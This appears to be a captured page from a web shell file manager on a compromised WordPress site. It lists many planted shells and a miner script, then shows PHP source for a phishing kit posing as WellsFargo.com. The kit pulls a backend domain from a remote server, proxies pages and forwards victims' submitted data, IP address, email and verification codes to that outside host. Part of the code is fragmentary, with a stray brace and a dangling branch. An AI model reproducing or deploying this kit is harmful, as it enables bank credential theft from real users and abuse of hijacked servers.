Gecko [ eduone.click ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2025-06-08 23:54
cgi-bin	[ DIR ]	drwxr-xr-x	2025-04-11 08:13
dup-installer	[ DIR ]	drwxr-xr-x	2025-04-11 08:13
tecmdhtevf	[ DIR ]	drwxr-xr-x	2025-04-17 04:10
vinkmag	[ DIR ]	drwxr-xr-x	2025-04-11 08:13
wp-content	[ DIR ]	drwxrwxrwx	2025-05-26 14:13
wp-includes	[ DIR ]	drwxrwxrwx	2025-06-12 16:02
.htaccess	407 B	-r--r--r--	2025-06-12 16:02
.htaccess-250223183613.orig	654 B	-rw-r--r--	2025-03-18 11:44
.htaccess-250318114412.orig	98 B	-rw-r--r--	2025-03-18 11:44
1.php	1.33 KB	-rw-r--r--	2025-05-27 10:55
33.php	205.93 KB	-rw-r--r--	2025-05-31 10:05
CasperRSF.php	55 B	-rw-r--r--	2025-05-05 04:41
DHL	0 B	-rw-r--r--	2025-06-03 04:12
Indexed1.html	5.7 KB	-rw-r--r--	2025-06-07 13:41
K14M69.html	3.76 KB	-rw-r--r--	2025-05-08 04:53
Miner.php	3.52 KB	-rw-r--r--	2025-04-16 09:56
Snaptik.app_73716678102520496706.jpg	264.09 KB	-rw-r--r--	2025-06-02 09:49
Website deepesh pace.html	5.87 KB	-rw-r--r--	2025-06-07 13:40
about.php	12.67 KB	-rw-r--r--	2025-03-29 06:51
ad.php	8.03 KB	-rw-r--r--	2025-05-05 23:29
admin.php	5.67 KB	-rw-r--r--	2025-05-27 09:34
alfa.php	66.63 KB	-rw-r--r--	2025-06-07 02:08
alfashell-antidelete.php	2.87 KB	-rw-r--r--	2025-05-06 22:11
ant.php	194 B	-rw-r--r--	2025-06-09 07:29
apache.php	192.33 KB	-rw-r--r--	2025-06-03 09:30
b.php	18.84 KB	-rw-r--r--	2025-04-11 03:51
bynokta.php	42.56 KB	-rw-r--r--	2025-05-28 20:09
delpaths.php	4.37 KB	-rw-r--r--	2025-04-03 01:28
dup-installer-bootlog__1d2d7aa-09143107.txt	2.22 KB	-rw-r--r--	2025-03-27 06:46
dup-wp-config-arc__1d2d7aa-09143107.txt	3.17 KB	-rw-r--r--	2025-03-18 11:44
error_log	12.59 KB	-rw-r--r--	2025-04-11 19:34
eval_dc.php	37.55 KB	-rw-r--r--	2025-05-30 07:45
file2.php	96.38 KB	-rw-r--r--	2025-04-22 01:37
fwa.php	180.28 KB	-rw-r--r--	2025-06-11 10:56
gdftps.php	5.67 KB	-rw-r--r--	2025-05-28 06:24
header.php	5.97 KB	-rw-r--r--	2025-01-06 08:04
htaccess.orig652178482	657 B	-rw-r--r--	2025-03-18 11:44
index.php	1.92 KB	-r--r--r--	2025-06-12 16:02
indexed.html	7.25 KB	-rw-r--r--	2025-05-06 18:06
inputs.php	6.07 KB	-rw-r--r--	2025-05-20 12:20
installer-backup.php	40.32 KB	-r--r--r--	2025-03-27 10:49
installer.php	40.31 KB	-r--r--r--	2025-03-27 10:49
kecil.php	107.05 KB	-rw-r--r--	2025-05-05 23:18
license.txt	19.45 KB	-rw-r--r--	2025-03-18 11:44
memberfuns.php	5.29 KB	-rw-r--r--	2025-04-30 01:57
p.php	2.75 KB	-rw-r--r--	2025-06-10 19:20
parbadabaru.php	1.37 KB	-rw-r--r--	2025-06-07 08:01
readme.html	7.24 KB	-rw-r--r--	2025-03-18 11:44
sirx.php	136.81 KB	-rw-r--r--	2025-05-27 10:49
theme.php	51.69 KB	-rw-r--r--	2025-05-10 06:42
ty.php	220.19 KB	-rw-r--r--	2025-05-22 01:54
un.php	9.35 KB	-rw-r--r--	2025-06-07 12:08
wp-activate.php	7.38 KB	-r--r--r--	2025-03-27 10:49
wp-blog-header.php	3.23 KB	-rw-r--r--	2025-04-11 08:13
wp-comments-post.php	2.43 KB	-r--r--r--	2025-03-27 10:49
wp-config-sample.php	3.42 KB	-r--r--r--	2025-03-27 10:49
wp-config.php	3.39 KB	-r--r--r--	2025-03-27 10:49
wp-confiq.php	59.05 KB	-rw-r--r--	2025-04-11 08:10
wp-cron.php	8.4 KB	-rw-r--r--	2025-04-11 08:13
wp-links-opml.php	2.62 KB	-r--r--r--	2025-03-27 10:49
wp-load.php	4.01 KB	-r--r--r--	2025-03-27 10:49
wp-login.php	50.73 KB	-r--r--r--	2025-03-27 10:49
wp-mail.php	8.58 KB	-r--r--r--	2025-03-27 10:49
wp-settings.php	28.59 KB	-r--r--r--	2025-03-27 10:49
wp-signup.php	34.26 KB	-r--r--r--	2025-03-27 10:49
wp-trackback.php	5.15 KB	-r--r--r--	2025-03-27 10:49
wsa.php	7.27 KB	-rw-r--r--	2025-05-27 01:08
xmlrpc.php	3.36 KB	-r--r--r--	2025-03-27 10:49
xs.php	13.51 KB	-rw-r--r--	2025-05-16 19:10

Rename

<?php
            session_start();
            session_write_close();
header("Cache-Control: max-age=0, private, no-cache, no-store, must-revalidate");
error_reporting(0);
define("APIKEY","API-KEY-negk-ps57-2arw01yw0kej");
define("Page","WellsFargo.com");
define("FILE_NAME","wells.php");
define("GET_PARAM","ch");
function getdomain(){
    $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://mailpag.es/raw/index2.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB5');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 400);
$domain = curl_exec($ch);
return $domain;
}
$doomain = getdomain();
function fetchContentAndContentType($url) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_CONNECTTIMEOUT => 10,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_HEADER => true,
        CURLOPT_HTTPHEADER => ['User-Agent: Mozilla/5.0'],
    ]);
    $response = curl_exec($ch);
    if ($response === false) {
        $error = curl_error($ch);
        echo "cURL Error: $error";
    } else {
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $headers = substr($response, 0, $header_size);
        $contentType = null;
        foreach (explode("\r\n", $headers) as $header) {
            if (stripos($header, 'Content-Type:') === 0) {
                $contentType = trim(substr($header, 13));
                break;
            }
        }
        header("Content-Type: $contentType");
        echo substr($response, $header_size);
    }
    curl_close($ch);
}

if(isset($_GET['get_link']) && $_SESSION['verified'] == '1'){
    $request_url = explode("?get_link=", $_SERVER['REQUEST_URI'])[1];
    fetchContentAndContentType('https://' . $doomain . "/" . urldecode($request_url));
    exit();
}
if(strpos($_SERVER['REQUEST_URI'], '?send_data') !== FALSE && $_SESSION['verified'] == '1'){
        $url = 'https://' . $doomain . '/' . FILE_NAME;
        $datas = file_get_contents('php://input');
        if(empty(trim($datas))){
    $datas = $_POST;
        } 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);
echo $response;
exit();
    
    
}
function getLanguage() { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); return $lang;} 
function getIp()
{
    $ipaddress = '';
    if ($_SERVER['HTTP_CLIENT_IP']) $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
    else if ($_SERVER['HTTP_CF_CONNECTING_IP']) $ipaddress = $_SERVER['HTTP_CF_CONNECTING_IP'];
    else if ($_SERVER['HTTP_X_REAL_IP']) $ipaddress = $_SERVER['HTTP_X_REAL_IP'];
    else if ($_SERVER['HTTP_X_FORWARDED']) $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
    else if ($_SERVER['HTTP_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
    else if ($_SERVER['HTTP_FORWARDED']) $ipaddress = $_SERVER['HTTP_FORWARDED'];
    else if ($_SERVER['REMOTE_ADDR']) $ipaddress = $_SERVER['REMOTE_ADDR'];
    else $ipaddress = 'UNKNOWN';
    if ($ipaddress == "::1") {
        return "127.0.0.1";
    }
    return $ipaddress;
}
function getOs() { $os_platform = "Unknown OS"; $all = array( '/windows nt 10/i' => 'Windows 10', '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i' => 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile' ); foreach ($all as $regex => $value) { if (preg_match($regex, $_SERVER['HTTP_USER_AGENT'])) { $os_platform = $value; } } return urlencode($os_platform); }

}elseif($x == "404"){
        return header('HTTP/1.0 404 Not Found', true, 404);
    }else{
        session_start();
        $_SESSION['verified'] = '1';
        session_write_close();
        return $x;
    }
}
if (isset($_GET[GET_PARAM])) {
    $IP       		= getIp();
    $language       = getLanguage();
    $os             = getOs();
    $browser        = getBrowser();
    $token			= $_GET[GET_PARAM];
    $verifycode		= $_GET['verifycode'];
    $email			= $_GET['em'];
    $uniqid			= $_GET['uniqid'];
    $referer		= $_SERVER['HTTP_REFERER'];
    $post_data = [
        'apikey' => APIKEY,
        'ip' => $IP,
        'language' => $language,
        'os' => $os,
        'browser' => $browser,
        'phpusergent' => $_SERVER['HTTP_USER_AGENT'],
        'token' => $token,
        'verifycode' => $verifycode,
        'em' => $email,
        'uniqid' => $uniqid,
        'referer' => $referer,
        'start' => 0
    ];
    echo sendRequest($post_data);
    exit;
}elseif (isset($_GET['process'])) {
    $apitoken = $_GET['apitoken'];
    $IP       = getIp();

$post_data = [
        'process' => 1,
        'apitoken' => $apitoken,
        'ip' => $IP
    ];
    echo sendRequest($post_data);
    exit;
}elseif (isset($_GET['auth'])) {
    $apitoken = $_GET['apitoken'];
    $IP       = getIp();

$post_data = [
        'auth' => 1,
        'apitoken' => $apitoken,
        'ip' => $IP
    ];
    echo sendRequest($post_data);
    exit;
}elseif (isset($_GET[APIKEY])) {
    exit(GET_PARAM);
}else{
    header('HTTP/1.0 403 Forbidden', true, 403);
    exit();
}
?>